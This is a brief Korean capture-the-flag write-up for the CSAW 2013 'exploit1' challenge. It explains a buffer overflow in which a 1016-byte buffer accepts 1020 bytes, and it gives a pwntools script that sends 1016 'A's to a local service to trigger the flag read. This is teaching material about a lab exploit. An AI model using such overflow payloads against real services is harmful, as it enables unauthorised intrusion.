CSAW 2013 Exploitation - exploit1

CSAW 2013에 가장 먼저 나온 Pwn 문제이다.

취약한 소스중 하나인데

buffer는 1016만큼 할당되어있고 1020byte만큼 받을수 있어서 오버플로우가 가능하다.

from pwn import *
p = remote("localhost", 31337)
 
print p.recvuntil("Welcome to CSAW CTF.")
 
payload = "A"*1016
 
p.sendline(payload)
 
p.interactive()
 

1016byte를 건들이면 key 파일이 실행되어서 flag가 읽힌다.